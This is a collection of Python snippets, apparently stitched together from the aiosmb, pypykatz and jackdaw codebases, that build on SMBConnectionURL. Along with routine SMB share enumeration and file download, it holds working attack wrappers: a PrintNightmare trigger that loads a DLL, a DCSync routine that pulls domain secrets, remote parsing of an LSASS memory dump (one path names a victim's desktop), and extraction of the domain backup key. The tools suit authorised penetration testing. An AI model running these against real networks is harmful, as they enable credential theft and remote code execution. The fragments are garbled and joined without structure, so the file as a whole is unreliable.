async def __executor(self, tid, target): try: for protocol in self.protocols: smb_mgr = SMBConnectionURL( 'smb2+ntlm-password://%s/?timeout=%s' % (target, self.timeout)) connection = smb_mgr.create_connection_newtarget(target) res, sign_en, sign_req, rply, err = await connection.protocol_test( [protocol]) if err is not None: raise err er = SMBProtocolEnumResultInner( tid, target, (protocol, res, sign_en, sign_req, rply, err)) await self.res_q.put(er) if self.only_signing is True: return except asyncio.CancelledError: return except Exception as e: await self.res_q.put( SMBProtocolEnumResultInner(tid, target, None, error=e, status=EnumResultStatus.ERROR)) finally: await self.res_q.put( SMBProtocolEnumResultInner(tid, target, None, status=EnumResultStatus.FINISHED))
async def printnightmare(url, dll_path, driverpath=None): try: from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine smburl = SMBConnectionURL(url) connection = smburl.get_connection() async with connection: logger.debug('[PRINTNIGHTMARE] Connecting to server...') _, err = await connection.login() if err is not None: raise err machine = SMBMachine(connection) logger.debug('[PRINTNIGHTMARE] Connected!') logger.debug('[PRINTNIGHTMARE] Triggering printnightmare...') _, err = await machine.printnightmare(dll_path, driverpath) if err is not None: raise err logger.debug('[PRINTNIGHTMARE] Printnightmare finished OK!') return True, None except Exception as e: import traceback traceback.print_exc() return None, e
def __init__(self, smb_url, worker_count=100, enum_url=True, exclude_target=[], show_pbar=False, ext_result_q=None, output_type='str', out_file=None): self.target_gens = [] self.smb_mgr = SMBConnectionURL(smb_url) self.worker_count = worker_count self.task_q = None self.res_q = None self.workers = [] self.result_processing_task = None self.enum_url = enum_url self.exclude_target = [] self.show_pbar = show_pbar self.ext_result_q = ext_result_q self.output_type = output_type self.out_file = out_file self.__gens_finished = False self.__total_targets = 0 self.__total_finished = 0
async def amain(url): print(1) conn_url = SMBConnectionURL(url) print(2) connection = conn_url.get_connection() await connection.login() print(3) async with SMBMachine(connection) as computer: async with SMBDRSUAPI(connection, 'TEST') as drsuapi: try: _, err = await drsuapi.connect() _, err = await drsuapi.open() if err is not None: raise err async for username, user_sid, err in computer.list_domain_users( target_domain='TEST'): #print(username) x, err = await drsuapi.DRSCrackNames(name=username) if err is not None: raise err #print(x.dump()) #await asyncio.sleep(0.01) except Exception as e: logging.exception('error!') raise e
def __init__(self, smb_url:SMBConnectionURL, worker_count = 10, enum_url = False, out_file = None, show_pbar = True, max_runtime = None, task_q = None, res_q = None, output_type = 'str', ext_result_q = None): self.target_gens = [] self.smb_mgr = smb_url if isinstance(smb_url, str): self.smb_mgr = SMBConnectionURL(smb_url) self.worker_count = worker_count self.task_q = task_q self.res_q = res_q self.workers = [] self.result_processing_task = None self.enum_url = enum_url self.out_file = out_file self.show_pbar = show_pbar self.max_runtime = max_runtime self.output_type = output_type self.ext_result_q = ext_result_q self.write_buffer_size = 1000 self.__gens_finished = False self.__total_targets = 0 self.__total_finished = 0 self.__total_errors = 0 self.__total_sessions = 0 self.__current_targets = {}
def __init__(self, smb_url, show_progress=False): self.smb_mgr = SMBConnectionURL(smb_url) self.target_gens = [] self.task_q = None self.__total_targets = 0 self.target_gen_task = None self.show_progress = show_progress
async def dcsync(url, username = None): from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine smburl = SMBConnectionURL(url) connection = smburl.get_connection() users = [] if username is not None: users.append(username) async with connection: logging.debug('[DCSYNC] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[DCSYNC] Connected to server!') logging.debug('[DCSYNC] Running...') i = 0 async with SMBMachine(connection) as machine: async for secret, err in machine.dcsync(target_users=users): if err is not None: raise err i += 1 if i % 1000 == 0: logging.debug('[DCSYNC] Running... %s' % i) await asyncio.sleep(0) yield secret logging.debug('[DCSYNC] Finished!')
async def amain(url, outfilename, progress = True): smburl = SMBConnectionURL(url) connection = smburl.get_connection() smbfile = smburl.get_file() async with connection: _, err = await connection.login() if err is not None: raise err _, err = await smbfile.open(connection) if err is not None: raise err if outfilename is None: outfilename = smbfile.name if progress is True: pbar = tqdm.tqdm(desc = 'Downloading %s' % outfilename, total=smbfile.size, unit='B', unit_scale=True, unit_divisor=1024) with open(outfilename, 'wb') as outfile: async for data, err in smbfile.read_chunked(): if err is not None: raise err if data is None: break outfile.write(data) if progress is True: pbar.update(len(data))
async def do_login(self, url = None): """Connects to the remote machine""" try: if self.conn_url is None and url is None: print('No url was set, cant do logon') if url is not None: self.conn_url = SMBConnectionURL(url) cred = self.conn_url.get_credential() if cred.secret is None and cred.username is None and cred.domain is None: self.is_anon = True self.connection = self.conn_url.get_connection() logger.debug(self.conn_url.get_credential()) logger.debug(self.conn_url.get_target()) _, err = await self.connection.login() if err is not None: raise err self.machine = SMBMachine(self.connection) if self.silent is False: print('Login success') return True, None except Exception as e: traceback.print_exc() print('Login failed! Reason: %s' % str(e)) return False, e
async def filereader_test(connection_string, filename, proxy=None): #target = SMBTarget.from_connection_string(connection_string) #if proxy is not None: # target.proxy = SMBTargetProxy.from_connection_string(proxy) # print(str(target)) # #credential = SMBCredential.from_connection_string(connection_string) cu = SMBConnectionURL(connection_string) credential = cu.get_credential() target = cu.get_target() print(credential) print(target) input() spneg = AuthenticatorBuilder.to_spnego_cred(credential, target) async with SMBConnection(spneg, target) as connection: await connection.login() async with SMBFileReader(connection) as reader: await reader.open(filename) data = await reader.read() print(data) """
async def lsassfile(url, packages=['all'], chunksize=64 * 1024): from aiosmb.commons.connection.url import SMBConnectionURL from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.apypykatz import apypykatz smburl = SMBConnectionURL(url) connection = smburl.get_connection() smbfile = smburl.get_file() async with connection: logging.debug('[LSASSFILE] Connecting to server...') _, err = await connection.login() if err is not None: raise err logging.debug('[LSASSFILE] Connected!') logging.debug('[LSASSFILE] Opening LSASS dump file...') _, err = await smbfile.open(connection) if err is not None: raise err logging.debug('[LSASSFILE] LSASS file opened!') logging.debug('[LSASSFILE] parsing LSASS file...') mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile), chunksize=chunksize, packages=packages) logging.debug('[LSASSFILE] LSASS file parsed OK!') return mimi
def __init__(self, url = None): aiocmd.PromptToolkitCmd.__init__(self, ignore_sigint=False) #Setting this to false, since True doesnt work on windows... self.conn_url = None if url is not None: self.conn_url = SMBConnectionURL(url) self.connection = None self.machine = None self.shares = {} #name -> share self.__current_share = None self.__current_directory = None
async def filereader_test(connection_string, filename, proxy=None): cu = SMBConnectionURL(connection_string) smb_connection = cu.get_connection() epm = EPM(smb_connection, protocol='ncacn_ip_tcp') await rr(epm.connect()) data, exc = await epm.map(drsuapi.MSRPC_UUID_DRSUAPI) #data, exc = await epm.lookup() if exc is not None: raise exc print(data)
def __init__(self, smb_url, worker_count=10, depth=3, enum_url=False, out_file=None, show_pbar=True, max_items=None, max_runtime=None, fetch_share_sd=False, fetch_dir_sd=False, fetch_file_sd=False, task_q=None, res_q=None, output_type='str', exclude_share=[], exclude_dir=[], exclude_target=[], ext_result_q=None): self.target_gens = [] self.smb_mgr = smb_url if isinstance(smb_url, str): self.smb_mgr = SMBConnectionURL(smb_url) self.worker_count = worker_count self.task_q = task_q self.res_q = res_q self.depth = depth self.workers = [] self.result_processing_task = None self.enum_url = enum_url self.out_file = out_file self.show_pbar = show_pbar self.max_items = max_items self.max_runtime = max_runtime self.fetch_share_sd = fetch_share_sd self.fetch_dir_sd = fetch_dir_sd self.fetch_file_sd = fetch_file_sd self.output_type = output_type self.exclude_share = exclude_share self.exclude_dir = exclude_dir self.exclude_target = exclude_target self.ext_result_q = ext_result_q self.__gens_finished = False self.__total_targets = 0 self.__total_finished = 0 self.__total_size = 0 self.__total_shares = 0 self.__total_dirs = 0 self.__total_files = 0 self.__total_errors = 0 self.__current_targets = {}
def __init__(self, smb_url, worker_count = 100, enum_url = True): self.target_gens = [] self.smb_mgr = SMBConnectionURL(smb_url) self.worker_count = worker_count self.task_q = None self.res_q = None self.workers = [] self.result_processing_task = None self.enum_url = enum_url self.__gens_finished = False self.__total_targets = 0 self.__total_finished = 0
def __init__(self, url = None, silent = False, no_dce = False): aiocmd.PromptToolkitCmd.__init__(self, ignore_sigint=False) #Setting this to false, since True doesnt work on windows... self.conn_url = None if url is not None: self.conn_url = SMBConnectionURL(url) self.connection = None self.machine = None self.is_anon = False self.silent = silent self.no_dce = no_dce # diables ANY use of the DCE protocol (eg. share listing) This is useful for new(er) windows servers where they forbid the users to use any form of DCE self.shares = {} #name -> share self.__current_share = None self.__current_directory = None
async def test(url_str): url = SMBConnectionURL(url_str) connection = url.get_connection() _, err = await connection.login() if err is not None: print(err) raise err machine = SMBMachine(connection) async for share, err in machine.list_shares(): if err is not None: print(err) raise err print(share)
def __init__(self, smb_url, worker_count=100, timeout=5, show_pbar=True, output_type='str', out_file=None, out_buffer_size=1, ext_result_q=None): self.smb_mgr = smb_url if isinstance(smb_url, str): self.smb_url = SMBConnectionURL(smb_url) self.target_gens = [] self.timeout = timeout self.worker_count = worker_count self.task_q = None self.res_q = None self.workers = [] self.result_processing_task = None self.show_pbar = show_pbar self.output_type = output_type self.out_file = out_file self.out_buffer_size = out_buffer_size self.ext_result_q = ext_result_q self.__gens_finished = False self.__total_targets = 0 self.__total_finished = 0 self.__total_errors = 0
async def gather(self): try: info = { 'ds' : self.domain_server, 'ms' : self.multiplexor_server, 'mp' : self.multiplexor_port, 'ai' : self.agent_id, 'sh' : self.socks_server_info['listen_ip'], 'sp' : self.socks_server_info['listen_port'] } ldap_url = 'ldap+multiplexor-ntlm://{ds}/?proxytype=socks5&proxyhost={sh}&proxyport={sp}&authhost={ms}&authport={mp}&authagentid={ai}'.format(**info) smb_url = 'smb+multiplexor-ntlm://{ds}/?proxytype=socks5&proxyhost={sh}&proxyport={sp}&authhost={ms}&authport={mp}&authagentid={ai}'.format(**info) self.logger.info(ldap_url) self.logger.info(smb_url) smb_mgr = SMBConnectionURL(smb_url) ldap_mgr = MSLDAPURLDecoder(ldap_url) #self.ldapenum = LDAPEnumeratorManager(self.db_conn, ldap_mgr, agent_cnt=self.parallel_cnt, progress_queue=self.progress_queue) #self.logger.info('Enumerating LDAP') #self.ldapenum_task = asyncio.create_task(self.ldapenum.run()) # #adifo_id = await self.ldapenum_task #if adifo_id is None: # raise Exception('LDAP enumeration failed!') #self.logger.info('ADInfo entry successfully created with ID %s' % adifo_id) # #self.logger.info('Enumerating SMB') #self.smbenum = SMBGathererManager(smb_mgr, worker_cnt=self.parallel_cnt, progress_queue = self.progress_queue) #self.smbenum.gathering_type = ['all'] #self.smbenum.db_conn = self.db_conn #self.smbenum.target_ad = adifo_id #self.smbenum_task = asyncio.create_task(self.smbenum.run()) # #await self.smbenum_task work_dir = './workdir' with multiprocessing.Pool() as mp_pool: gatherer = Gatherer( self.db_conn, work_dir, ldap_url, smb_url, ldap_worker_cnt=None, smb_worker_cnt=None, mp_pool=mp_pool, smb_gather_types=['all'], progress_queue=self.progress_queue, show_progress=False, calc_edges=True, dns=None ) res, err = await gatherer.run() if err is not None: raise err return True except: logging.exception('Failed to run scan!') return False
async def do_login(self, url=None): try: if self.conn_url is None and url is None: print('No url was set, cant do logon') if url is not None: self.conn_url = SMBConnectionURL(url) self.connection = self.conn_url.get_connection() logger.debug(self.conn_url.get_credential()) logger.debug(self.conn_url.get_target()) await self.connection.login() self.machine = SMBMachine(self.connection) except Exception as e: traceback.print_exc() else: print('Login success')
async def amain(url): import traceback import hashlib from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine from aiosmb.wintypes.dtyp.constrcuted_security.guid import GUID url = SMBConnectionURL(url) connection = url.get_connection() _, err = await connection.login() if err is not None: print(err) raise err async with LSAD(connection) as b: _, err = await b.connect() if err is not None: print(err) print(traceback.format_tb(err.__traceback__)) return ph, err = await b.open_policy2() if err is not None: print(err) print(traceback.format_tb(err.__traceback__)) return print(ph) data, err = await b.retrieve_private_data(ph, 'G$BCKUPKEY_PREFERRED') if err is not None: print(err) print(traceback.format_tb(err.__traceback__)) return print(data) guid = GUID.from_bytes(data) g = 'G$BCKUPKEY_%s' % str(guid) print(g) data, err = await b.retrieve_private_data(ph, g) if err is not None: print(err) print(traceback.format_tb(err.__traceback__)) return print(data)
async def setup(self): try: if self.no_work_dir is False: logger.debug('Setting up working directory') if self.work_dir is not None: if isinstance(self.work_dir, str): self.work_dir = pathlib.Path(self.work_dir) else: self.work_dir = pathlib.Path() self.work_dir.mkdir(parents=True, exist_ok=True) self.ldap_work_dir = self.work_dir.joinpath('ldap') self.ldap_work_dir.mkdir(parents=True, exist_ok=True) self.smb_work_dir = self.work_dir.joinpath('smb') self.smb_work_dir.mkdir(parents=True, exist_ok=True) logger.debug('Setting up connection objects') if self.dns_server is not None: self.rdns_resolver = RDNS(server=self.dns_server, protocol='TCP', cache=True, proxy=self.proxy) if self.ldap_url is not None: self.ldap_mgr = self.ldap_url if isinstance(self.ldap_url, str): self.ldap_mgr = MSLDAPURLDecoder(self.ldap_url) if self.proxy is not None: #overriding proxy! pu = SocksClientURL.from_urls(self.proxy) p = MSLDAPProxy(MSLDAPProxyType.SOCKS5, pu) self.ldap_mgr.proxy = p if self.smb_url is not None: self.smb_mgr = self.smb_url if isinstance(self.smb_url, str): self.smb_mgr = SMBConnectionURL(self.smb_url) if self.proxy is not None: #overriding proxy! pu = SocksClientURL.from_urls(self.proxy) p = SMBProxy() p.type = SMBProxyType.SOCKS5 p.target = pu self.smb_mgr.proxy = p logger.debug('Setting up database connection') if self.progress_queue is None and self.show_progress is True: self.progress_queue = asyncio.Queue() self.progress_task = asyncio.create_task(self.print_progress()) return True, None except Exception as e: return False, e
async def amain(): import argparse import sys parser = argparse.ArgumentParser(description='SMB Protocol enumerator. Tells which dialects suported by the remote end') parser.add_argument('-v', '--verbose', action='count', default=0) parser.add_argument('-w', '--smb-worker-count', type=int, default=100, help='Parallell count') parser.add_argument('-t', '--timeout', type=int, default=50, help='Timeout for each connection') parser.add_argument('--signing', action='store_true', help='Only check for the singing properties. (faster)') parser.add_argument('-s', '--stdin', action='store_true', help='Read targets from stdin') parser.add_argument('--json', action='store_true', help='Output in JSON format') parser.add_argument('--tsv', action='store_true', help='Output in TSV format. (TAB Separated Values)') parser.add_argument('--progress', action='store_true', help='Show progress bar') parser.add_argument('-o', '--out-file', help='Output file path.') parser.add_argument('targets', nargs='*', help = 'Hostname or IP address or file with a list of targets') args = parser.parse_args() if args.verbose >=1: logger.setLevel(logging.INFO) if args.verbose > 2: logger.setLevel(1) #enabling deep debug asyncio.get_event_loop().set_debug(True) logging.basicConfig(level=logging.DEBUG) output_type = 'str' if args.json is True: output_type = 'json' if args.tsv is True: output_type = 'tsv' smb_url = SMBConnectionURL('smb2+ntlm-password://dummy\\dummy:[email protected]') enumerator = SMBProtocolEnum(smb_url, worker_count = args.smb_worker_count, timeout = args.timeout, only_signing = args.signing, show_pbar=args.progress, out_file=args.out_file, output_type=output_type) notfile = [] if len(args.targets) == 0 and args.stdin is True: enumerator.target_gens.append(ListTargetGen(sys.stdin)) else: for target in args.targets: try: f = open(target, 'r') f.close() enumerator.target_gens.append(FileTargetGen(target)) except: notfile.append(target) if len(notfile) > 0: enumerator.target_gens.append(ListTargetGen(notfile)) if len(enumerator.target_gens) == 0: print('[-] No suitable targets were found!') return await enumerator.run() if args.progress is False: print('[+] Done!')
async def run(self, args): if args.smb_module == 'lsassfile': from aiosmb.commons.connection.url import SMBConnectionURL from pypykatz.alsadecryptor.asbmfile import SMBFileReader from pypykatz.apypykatz import apypykatz smburl = SMBConnectionURL(args.url) connection = smburl.get_connection() smbfile = smburl.get_file() async with connection: _, err = await connection.login() if err is not None: raise err _, err = await smbfile.open(connection) if err is not None: raise err mimi = await apypykatz.parse_minidump_external( SMBFileReader(smbfile)) self.process_results({'smbfile': mimi}, [], args) elif args.smb_module == 'console': from aiosmb.examples.smbclient import amain la = SMBCMDArgs() la.smb_url = args.url la.verbose = args.verbose if args.commands is not None and len(args.commands) > 0: la.commands = [] if args.commands[0] == 'help': la.commands = ['help'] else: if args.commands[0] != 'login': la.commands.append('login') for command in args.commands: la.commands.append(command) await amain(la)
async def amain(url): import traceback import hashlib from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.commons.interfaces.machine import SMBMachine url = SMBConnectionURL(url) connection = url.get_connection() _, err = await connection.login() if err is not None: print(err) raise err async with SMBBKRP(connection) as b: _, err = await b.connect() if err is not None: print(err) print(traceback.format_tb(err.__traceback__)) return res, err = await b.retrieve_backup_key() if err is not None: print(err) print(traceback.format_tb(err.__traceback__)) return print(res) print('!!!!!!!!!!!!!!!!!!!!!!!') res, err = await b.encrypt_data(b'HEELLO WORLD!') if err is not None: print(err) print(traceback.format_tb(err.__traceback__)) return print(res) res, err = await b.decrypt_data(res) if err is not None: print(err) print(traceback.format_tb(err.__traceback__)) return print(res)
async def do_login(self, url=None): """Connects to the remote machine""" try: if self.conn_url is None and url is None: print('No url was set, cant do logon') if url is not None: self.conn_url = SMBConnectionURL(url) self.connection = self.conn_url.get_connection() logger.debug(self.conn_url.get_credential()) logger.debug(self.conn_url.get_target()) _, err = await self.connection.login() if err is not None: raise err self.machine = SMBMachine(self.connection) except Exception as e: traceback.print_exc() print('Login failed! Reason: %s' % str(err)) else: print('Login success')
async def __executor(self, tid, target): try: smb_mgr = SMBConnectionURL('smb2+ntlm-password://%s/?timeout=%s' % (target, self.timeout)) connection = smb_mgr.create_connection_newtarget(target) res, err = await connection.fake_login() if err is not None: raise err er = EnumResult(tid, target, (res, )) await self.res_q.put(er) except asyncio.CancelledError: return except Exception as e: await self.res_q.put( EnumResult(tid, target, None, error=e, status=EnumResultStatus.ERROR)) finally: await self.res_q.put( EnumResult(tid, target, None, status=EnumResultStatus.FINISHED))
async def amain(): from aiosmb.commons.connection.url import SMBConnectionURL from aiosmb.connection import SMBConnection import traceback url = 'smb2+ntlm-password://TEST\\Administrator:[email protected]' su = SMBConnectionURL(url) conn = su.get_connection() _, err = await conn.login() if err is not None: print(err) return else: print('SMB Connected!') rs = RRP(conn) _, err = await rs.connect() if err is not None: print(err) return print('RRP Connected!') users_handle, err = await rs.ConnectRegistry(HKEY.USERS) if err is not None: print('users error! %s' % err) return print('users_handle %s' % users_handle) for i in range(10): res, err = await rs.EnumKey(users_handle, i) if err is not None: if err.errno == 259: #no more data is available break print(err) print(traceback.format_tb(err.__traceback__)) print(res) """
async def amain(url, src="Security", query='*', max_entries=100): su = SMBConnectionURL(url) conn = su.get_connection() _, err = await conn.login() if err is not None: print('Failed to connect to server! %s' % err) return False, err else: logger.debug('SMB Connected!') ei = SMBEven6(conn) _, err = await ei.connect() if err is not None: print('Error during DCE connection! %s' % err) return False, err logger.debug('DCE Connected!') sec_handle, err = await ei.register_query(src, query=query) if err is not None: print(err) return False, err async for res, err in ei.query_next(sec_handle, max_entries, as_xml=True): if err is not None: print(err) break try: print(res) except Exception as e: print(e) pass await ei.close() await conn.disconnect() return True, None
async def amain(): from aiosmb.commons.connection.url import SMBConnectionURL from pypykatz.alsadecryptor.asbmfile import SMBFileReader import sys f=sys.argv[1] print(f) url = 'smb2+ntlm-password://TEST\\Administrator:[email protected]/C$/Users/victim/Desktop/lsass.DMP' smburl = SMBConnectionURL(url) connection = smburl.get_connection() smbfile = smburl.get_file() async with connection: _, err = await connection.login() if err is not None: raise err _, err = await smbfile.open(connection) if err is not None: raise err mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile)) print(mimi)